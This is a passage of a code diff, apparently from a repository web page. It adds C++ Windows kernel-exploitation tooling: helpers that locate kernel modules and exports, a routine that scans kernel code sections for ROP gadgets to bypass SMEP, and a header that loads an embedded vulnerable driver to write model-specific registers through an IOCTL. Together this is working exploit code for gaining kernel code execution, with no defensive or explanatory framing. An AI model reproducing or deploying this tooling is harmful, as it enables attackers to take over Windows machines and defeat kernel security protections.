VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const auto current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const auto result =
|
||||
reinterpret_cast<std::uint64_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName
|
||||
);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
const auto module_base =
|
||||
LoadLibraryExA(
|
||||
full_path.c_str(),
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
const auto image_base =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
|
||||
const auto rva =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(module_base, export_name)) -
|
||||
reinterpret_cast<std::uintptr_t>(module_base);
|
||||
|
||||
return image_base + rva;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
namespace pe
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||
|
||||
// returns an std::vector containing all of the bytes of the section
|
||||
// and also the RVA from the image base to the beginning of the section...
|
||||
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||
{
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
if (!strcmp(_section_name, section_name))
|
||||
{
|
||||
const auto section_base =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
module_base + section_header[idx].VirtualAddress);
|
||||
|
||||
const auto section_end =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
section_base + section_header[idx].Misc.VirtualSize);
|
||||
|
||||
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||
return { section_bin, section_header[idx].VirtualAddress };
|
||||
}
|
||||
}
|
||||
|
||||
return { {}, {} };
|
||||
}
|
||||
|
||||
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||
{
|
||||
if (!module_base)
|
||||
return;
|
||||
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// keep looping until the callback returns false...
|
||||
if (!callback(§ion_header[idx], module_base))
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
namespace rop
|
||||
{
|
||||
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||
// just implimented the rop information from these posts...
|
||||
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
kmodule::each_module(
|
||||
[&](auto kernel_image, const char* image_name) -> bool
|
||||
{
|
||||
utils::pe::each_section(
|
||||
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||
{
|
||||
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||
{
|
||||
const auto rop_gadget =
|
||||
utils::scan(image_base + section_header->VirtualAddress,
|
||||
section_header->Misc.VirtualSize, sig, mask);
|
||||
|
||||
if(rop_gadget)
|
||||
result = (rop_gadget - image_base) +
|
||||
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||
|
||||
return !rop_gadget;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(image_name,
|
||||
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||
);
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
#define IOCTL_WRMSR 0x229384
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _write_msr_t
|
||||
{
|
||||
std::uint32_t reg;
|
||||
std::uintptr_t value;
|
||||
} write_msr_t, * pwrite_msr_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
raw_driver,
|
||||
sizeof raw_driver
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
std::string symlink("\\\\.\\" + key);
|
||||
vdm::drv_handle = CreateFileA(
|
||||
symlink.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key, result };
|
||||
}
|
||||
|
||||
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> void
|
||||
{
|
||||
std::uint32_t bytes_handled;
|
||||
write_msr_t io_data{ reg, value };
|
||||
|
||||
DeviceIoControl
|
||||
(
|
||||
vdm::drv_handle, IOCTL_WRMSR,
|
||||
&io_data, sizeof io_data,
|
||||
&io_data, sizeof io_data,
|
||||
(LPDWORD)&bytes_handled, nullptr
|
||||
);
|
||||
}
|
||||
}
|
Loading…
Reference in new issue